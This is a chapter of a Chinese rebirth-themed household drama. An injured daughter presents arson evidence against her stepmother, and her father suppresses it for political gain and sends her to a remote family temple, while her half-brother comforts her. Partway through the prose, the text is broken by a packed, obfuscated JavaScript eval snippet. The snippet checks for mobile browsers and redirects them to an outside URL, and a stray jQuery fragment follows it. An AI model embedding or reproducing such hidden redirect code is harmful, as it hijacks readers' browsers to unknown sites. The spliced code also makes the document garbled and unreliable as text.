入冬已有半月，今早天边泛起鱼肚白的时候，落了场细雪，到卯时还未停。抄手游廊的栏杆上卧了一层纯白，檐角挂着的一排宫灯蒙着雪，昏黄的光就透着这层雪朦朦胧胧的亮着。
素心端着黑金漆盘走在前面，指头冻得发紫，就连盘子的花纹也冷得硌手。
那盘子里盛着半截粗布条，布条上沾着煤油。煤油黏腻，染了些木柴的细渣，木柴是柴房里堆着的陈旧老松柴，旁边还缠着一缕灰青色的线。
她走的有些着急，但又很稳，就怕盘子晃动的厉害，布条上的煤烟味散得更快，惹得那周氏的人找茬。
素荷推着轮椅跟在身后，轴缝里进了雪，推起来“吱呀吱呀”地响。素荷的右胳膊还泛着青，是那日寻找证据，撞柴房门时受伤的。
“姑娘，孙嬷嬷她们在前厅等了快半个时辰，周氏身边的张嬷嬷特意叫她们坐到门口，挨着风吹，孙嬷嬷她们的脚都快冻僵了。”
“那也不能急。急匆匆地进去，倒叫周佩音她们看了笑话。”
轮椅上的南重锦裹着件水碧色的暗纹披风，料子是先母嫁妆里的古蜀锦，触手绵软，犹如云絮。雪天风大，披风的毛领粘了几片白雪，素荷刚替她拍掉，转身的功夫就又落了一层。
厅堂的门被丫鬟翠枝掀开时，夹杂着雪粒子的风呼地扑进来，叫南重锦忍不住缩了缩肩。
南秉谦朝她那里瞥了一眼，似乎看见了，又似乎没有看见。他捏着茶盏，慢悠悠品茶，看起来并不准备说些什么。
“父亲。”
南重锦的声音也轻飘飘的，似乎“父亲”二字于她来说也没什么不一样的，和喊素心素荷，喊孙嬷嬷张嬷嬷，都无甚差别。
一个称呼罢了。
她扯着嘴角，带着点笑：“父亲，纵火案的证据，女儿带来了。”
素心立刻将漆盘递到南秉谦面前，南秉谦终于肯抬头看了那盘子一眼。盘子刚放稳，门口立着的孙嬷嬷就颤巍巍跪了下去。
花白的头发沾着门外风吹进来的雪片，膝盖重重地磕在地板上，听得素荷心头一紧。
孙嬷嬷是先夫人赵玉容的陪嫁，早过了耳顺之年，她抬起头，声音颤抖，却又带着坚定：
“老奴当晚在柴房外扫雪，扫到窗下时，听见夫人跟瑶姑娘说‘这丫头碍眼太久了，今晚让她彻底闭嘴’，然后就看见主母把这布条往窗缝里塞……”
“老奴躲在柴垛后面，连夫人镯子上的磨痕都看得清清楚楚，老爷，老奴不敢说谎啊！”
她的手在抖，随身的帕子掉了出来，落在青黑色的地砖之上。素心忙弯腰去捡，却被周佩音身边的张嬷嬷伸脚踩住了帕子角，素心抬头瞪她，李婆子却翻了个白眼，故意碾了碾脚。
素荷再也忍不住，往前扑了半步跪下，眼泪扑簌簌往下掉：“老爷，这布条的煤油味吹了半月都散不去，姑娘的手到现在连个杯子都端不起来，当晚她在火里喊了半个时辰，却没一人过去帮忙——”
“若不是素心拼了命把姑娘背出来，现在您看见的，就是姑娘的骨灰了！”
素荷拼命磕头，慢慢地，在地面上留下了一滩浅浅的血痕。
南秉谦的手在茶盏边沿磨了磨，想的却是今早，温相的手下冒着雪进来，递了个锦盒给他，说：
“周夫人是温家远亲，南府的家事，体面为上，这是温相赏的血燕，给周夫人补身子。”
南家如今在朝堂上的位置，全靠温相提携，他不能为了一个女儿，断了家族的前程。绝对不能！
“家丑不可外扬。”
他放下茶盏，声音比屋外的风雪还要冷上几分，茶盏磕在桌沿上，发出“当”的一声。
“周氏是我敬国公府的当家主母，怎会做这等阴私事？定是下人老眼昏花，看错了。”
“看错？”
素荷的声音带着哭腔，往前又迈了一步，“姑娘的衣裳被火烧了大半，先夫人的嫁妆也大多毁于火中，您连看都没看一眼！”
“那晚柴房的火借着风势，烧穿了半面墙，若不是素心用身子撞门，姑娘现在早成了灰，您怎能说这是误会？”
周佩音适时地抬起手，用狐裘袖子蹭了蹭眼角，带出几分柔弱，连声音都软了下来：“老爷，我待锦丫头向来视如己出，前几日还让绣房给她做了件新裙，只是她嫌料子不好，不肯穿罢了。
“锦丫头，你说，母亲平日待你不好吗？”她的手故意往前伸，袖口的绒毛蹭着南重锦的脖颈，叫她极其难受。
“父亲，您是知道的。”南重瑶晃着脑袋，耳边的流苏摇摇摆摆，“大姐向来高傲，上次母亲赏她的珠花，就被她扔在地上踩碎了。指不定是她自己打翻了烛火燎了手，反赖到母亲头上。
“就是！”南重馨扯了扯裙角的补丁，翻了个白眼，“大姐有太祖母撑腰，自然能这般放肆，不像我们，自当是要规矩知礼，温雅贤淑的。”
“不，不是的……”
角落的南重舒动了动唇角，想说“我昨晚看见母亲往柴房送了煤油壶”。
可南重瑶猛地转过头，瞪了她一眼，眼神里的威胁像利刺，她立刻低下头，拿手揪住裙摆再不敢说话。
“够了。”南书承突然开口，攥着书本的手紧了紧，纸页皱得更厉害了。
“母亲，孙嬷嬷是先夫人的陪嫁，在府里待了四十多年，断不会说谎。大姐是南家的嫡女，您怎能这般编排她？”
这声音传进南重锦的耳朵里，叫她的心猛地一揪。
上辈子，他也是这么替她说话的，结果被周佩音罚在雪地里跪了半个时辰，膝盖冻得青紫，她却隔着窗，冷眼看着，甚至觉得这是他该受的，谁让他是周佩音的儿子。
可此刻看着他攥得发白的指节，看着他愤怒却又无力的表情，她突然后悔了。
没有谁能够选择自己的出身。
南书承是周佩音在她母亲还未过世之前，就生下来的儿子，比她竟然还大几岁。也就是说，在南秉谦才娶了母亲进门不久，就与她周佩音有了苟且……这怎么，不叫她怨恨。
听了南书承的话，周佩音拍案而起，脸色瞬间沉了下来：“你个逆子！我生你养你二十年，你竟为了个外人顶撞我？她是嫡女又如何？南家的前程要靠你，不是靠她这个丧门星！你再敢多说一句，就给我滚到雪地里跪着去！”
“她不是外人！”
南书承攥紧拳头，指节泛白：“她是我亲妹妹。前程再重要，也不能枉顾人命！”
“住口！”
南秉谦厉声呵斥，茶盏“啪”地砸在桌上，茶水晃悠悠在桌面洒了一圈：“长幼有序，轮得到你插嘴？此事就这么定了。周氏管教有失，禁足院内三月，闭门思过，不准再提！”
周佩音眼底闪过一丝得意，却立刻掩了下去，假惺惺地擦着眼泪：“老爷，只罚禁足，锦丫头心里该有疙瘩的，不如罚我去佛堂抄经半年，替锦丫头和玉容姐姐积福积德可好？”
“不必多说。”南秉谦摆手，“此事到此为止，谁再敢提，家法伺候。”
“父亲。”
南重锦的声音突然冷下来，她轻轻咳了一声，绷带下的手不自觉攥住了轮椅。
“您怕是忘了，母亲前几日还捏着我的下巴，说我是丧门星，留在府里只会克死南家，等雪下大了，就送我去家庙避祸，让我与我那死鬼母亲团聚这些话。您又要如何为我做主呢？”
南秉谦的脚步突然顿住，周佩音的脸色也唰地白了：“我只是……只是觉得锦丫头刚遭了祸，家庙清静，能避雪风养伤……”
“老爷，您别听她胡说，我哪能说这种话？”
南秉谦没有说话。家庙在西郊的深山上，此刻早积了半尺雪，山路滑得走不了车，连过冬的炭都运不进去。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17278815|198326||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
可是若把南重锦送过去，既能堵温相的嘴，又能绝了她靠太祖母翻身的可能，甚至……他不敢再往下想，只是淡淡地开口：“也好，家庙清静，适合养伤，你去住些日子，安分些，别再惹事。”
“父亲！”南书承忍不住扯着南秉谦衣袖，“家庙那地方连床厚被子都没有，锦妹妹又身子有伤，岂能去那种地方？”
“孝道大于天。”周佩音立刻接话，眼神凌厉地扫过他，“我是你母亲，我的话就是孝道，你敢反驳？是不是想让我现在就撞柱子给你看？”
南书承攥紧了拳头，指甲掐进掌心。
是非不分便是愚孝，愚孝也算孝么？可他终究没再说出口。
孝道两个字，像雪地里的枷锁，套得他喘不过气。他看着南重锦缠满绷带的手，眼底的愧疚像潮水一样漫上来，作为兄长，作为大哥，妹妹要去受罪，他却什么都做不了。
南重锦看着他，又看向南书承攥得发白的手，忽然有些想笑。
原来她一直错了。南书承不是横亘在她与他母亲之间的刺，他只是个夹在自私的父母和怨恨的妹妹之间的孩子，拼命想抓住一点亲情，却只得到满身的厌恶。
南书承摊开攥着的那本书，是《诗经》，他说：“妹妹爱看书，但受伤后不能翻书，如果你去家庙，我就也跟过去，每日念书给你听，好不好？”
南重锦看着他眼底的局促和小心翼翼，心脏像被雪粒砸了一下，有点疼，却也有点暖。她抬起被厚厚的绷带缠住的手，指尖轻轻碰了碰书页，凉丝丝的，却带着他的体温。
“谢谢你。”
这是她上辈子到死，都没对他说过的话。
南书承愣了愣，眼底瞬间亮了，像雪地里突然亮起的灯：“锦妹妹，我晚上偷偷给你送厚被子，还有暖手炉，是我攒钱买的新炭，不会被母亲发现的。”
周佩音的声音立刻传来：“南书承，你敢送东西，就别认我这个母亲！”
南书承的身子僵了僵，却还是看着南重锦，小声说：“阿锦，我一定送来。”
他转身走的时候，棉袍的下摆扫过雪地，溅起纷扬的雪花，可他的脚步却比来时轻快了些。南重锦看着他离去的方向，突然在心底轻轻喊了一句：大哥。
这是她上辈子，从未肯叫出口的称呼。
酉时前后，雪更大了，鹅毛似的扑在窗棂上，发出“沙沙”地响。素荷刚把南重锦扶到床上，就听见窗棂被轻轻敲了两下。
素心掀开帘子，看见南书承站在雪地里，手里拎着个暖手炉：“我从母亲房里偷的暖手炉，里面是新炭，能烧一晚上，你快给妹妹。”
素心忙打开窗，把他拉进来，他身上的雪落了一地，冻得打了个寒颤，却先把暖手炉塞给南重锦：“阿锦，快暖暖手，别冻伤。”
南重锦看着他冻得发红的耳朵，看着他棉袍上沾的雪粒，想起上辈子她把他送的东西扔出去的场景，突然说：“靠近些，过来烤烤火吧。”
南书承愣了，不敢置信地看着她：“阿锦，不好。母亲要是知道我进你的房，会打我的。”
“没事。”南重锦拍了拍床边的凳子，“炭盆里的炭够旺，坐一会儿就暖了。”
他犹豫了一下，小心翼翼坐在凳子上，搓着冻红的手，眼睛偷偷看着南重锦，像个得到了糖的孩子。
素荷给他倒了杯热水，他双手捧着杯子，手上的温度慢慢又回来：“阿锦，我明天偷偷去给你买你喜欢的酥酪，就在街口拐弯的地方，生意可好了。”
南重锦看着他眼底的欢喜，突然笑了。这是她重生以来，第一次真心地笑。她看着身侧书案上的《诗经》，感受着暖手炉的温度，在心底又念了一遍：大哥。
窗外的雪还在下，鹅毛似的下满了整个敬国公府，可南重锦的房里，炭盆烧得旺，暖手炉的温度浸润着双手，似乎连绷带下的伤口，都没那么疼了。